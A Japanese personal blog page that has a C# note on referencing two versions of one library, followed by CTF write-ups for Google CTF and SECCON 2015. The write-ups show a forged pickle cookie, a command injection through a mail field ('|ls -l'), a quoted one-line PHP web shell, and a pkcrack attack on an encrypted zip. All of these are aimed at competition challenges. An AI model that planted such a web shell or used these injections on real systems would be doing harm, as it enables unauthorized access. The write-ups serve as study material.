読者です 読者をやめる 読者になる 読者になる

煙と消えるその前に

一服してるうちに忘れる、自分のための備忘録。とかとか

VS+C#:1プロジェクト内で同一ライブラリの複数バージョン利用する

c#

なぜか最近C#と付き合うことになった僕です。
WindowsもVisualStudioも馴染みがない僕です。
これまで主にvimを使っていたんですが、VisualStudio(使い慣れたらたぶん)便利ですね!さすがIDEって感じ。
で、参照の追加でMvvmLightToolKitを入れたんですが、もし複数バージョンを同時に使いたくなったらどうするんだろ?と興味本位で調べてみました

複数バージョンのアセンブリをプロジェクトの参照に追加する

仮にMvvmLightToolKit 5.2と5.3を入れたいとすると、以下の感じでできました。

  • 5.3はNuGetで普通にインストール
  • 5.2はアセンブリをDLしてインストール

- こちらからDLしてMVVM Light Toolkit - Home
- vsixをunzipして、さらに中身のpackageファイルもunzipするとdllが出てくる
- 出てきたdllをGalaSoft.MvvmLight52.dllにrenameしておく
- dllのファイル名が5.3と同一になっているため、参照の追加でエラーになったため
- dllをVSの参照の追加から追加する

ソースコード内で両バージョンのアセンブリを利用する

以下のような感じでaliasを張ってやることで解決しました

- 例えば、5.2系の方のアセンブリにMvvmLight52という名前をつけます。

  • 利用するコードは以下のような感じでいけました。
extern alias MvvmLight52;
using GalaSoft.MvvmLight;

namespace MyAPP
{
    // 5.2のViewModelBaseを利用
    class MyClass : MvvmLight52.GalaSoft.MvvmLight.ViewModelBase
    {

    }

    // 5.3のViewModelBaseを利用
    class MyClass2 : ViewModelBase
    {

    }
}

Google Capture the Flagに参加した

ctf

https://capturetheflag.withgoogle.com/rulesに参加しました。
チームはRoute9。順位は147位でした。(得点のあるチーム数が911/登録チームは2395)

しかし僕は1問しか解けず、しかもFlagのコミットしてないというなんとも悔しい感じに・・・。
子供の相手してると時間が足りないんだ!(言い訳)

Web 50points Spotted Quoll

f:id:paty_fakename:20160502131351p:plain

サイトの/adminにアクセスする問題
サイトにアクセスした時点で変なクッキーがついてました

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

Base64デコードすると以下の文字列に

>>> import base64
>>> print base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")
(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

python pickleで検索するとpythonのライブラリがひっかかりました。オブジェクトのシリアライズをしてくれるものらしく、RubyのMarshalみたいなものかなと。

先ほどの文字列をpickleでデシリアライズします。
(この時pickleをそのままimportすると、シリアライズ時の数字が0から始まってしまい期待通りにいきません)

>>> import cPickle pickle
>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'python': 'pickles', 'subtle': 'hint', 'user': None}

userに入れてくださいと言わんばかり(笑)。
なのでuserにadminを入れてシリアライズし、実際に投げたところFlagが取れました。

>>> base64.b64encode(pickle.dumps(s))
'KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4='

$ curl -k https://spotted-quoll.ctfcompetition.com/admin -H "Cookie:obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4="

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?

SECCON2015オンライン予選に参加してきた

今年もSECCON 2015 Online CTFに参加してきました。
いつものRoute9で参加。99位!ギリとはいえ2桁台という嬉しい結果に。
参加記録をかねて解けた問題(フラグ入力したとは言ってない)のwriteupを書きます。

Web/Network100 Connect the Server

低速回線環境のサーバ?のようですがブラウザでアクセスしてしばらく放置してたらflagが取れました(汗
リクエストタイムアウトをいじらないといけない問題だったとかなのかな・・・?

f:id:paty_fakename:20151206162946p:plain

途中に関係ないデータが挟まってますが、ASCII部分だけ繋ぎ合わせて
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Web/Network100 Entry form

メアドを登録するとメールを送信するWebサービス
とっかかりがわからなかったんですが、チームメンバー曰くrootパスにディレクトリインデックスがついているとのこと。
さっそくアクセスするとファイル一覧が見えた。

f:id:paty_fakename:20151206163723p:plain

/register.cgi_bakにアクセスしてみると、register.cgiのソースが見えました。

f:id:paty_fakename:20151206163825p:plain

どうやらlogファイルの中の先頭2行にflagが入ってそう。

mailクエリをごにょればいけそうということで色々試したところ、mail="|ls -l"が使えたので、それでディレクトリ漁ってみるとlogファイルがありました!しかしlogのアクセス権は 640 apache:cgiなのでcgiユーザでは読めません。
じゃあ、ということでSECRETSディレクトリのその中を見てみると、backdoor123.phpなるファイルが。

backdoor123.phpの中身はこんなのでした。cmdを渡せばそのまま実行してくれる。

<pre><?php system($_GET['cmd']); ?></pre>

しかもこのbackdoorがapache権限で動いているので、こいつ経由でlogの中身を抜き出してflagげっと。
(こんな感じのアクセス -> /SECRETS/backdoor123.php?cmd=head%20/var/www/html/log)

SECCON{Glory_will_shine_on_you.}

Crypto100 Unzip the file

パス付zipファイルを解凍する問題。
zipの中には backnumber08.txt backnumber09.txt flag の3つのファイルが入ってることはわかりますが解凍方法がわかりません。
色々調べたところ、既知平文攻撃が使えそうとのこと。そこでpkcrackというツールを使います。
既知平文攻撃をするためにはzipの中に入っているファイルが何か必要なのですが、backnumberから類推して、おそらくSECCONのメルマガだろうと推測してWebからページをDLしました。
落としてきたファイルをzipにしてpkcrackに食わせてみるとflagが取り出せました。

wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
zip backnumber08.zip backnumber08.txt
pkcrack-1.2.2/src/pkcrack -C unzip.zip -c backnumber08.txt -d decrypt.zip -p backnumber08.txt -p backnumber08.zip
unzip decrypt.zip

取り出したflagもzipファイルになっているため、解凍したところflag自体はwordファイルのようでした。
手元にwordがないので中身のxmlを見てみるとword/document.xmlにflagがありました。

$ file flag
flag: Zip archive data, at least v2.0 to extract

SECCON{1s_th1s_passw0rd_ weak?}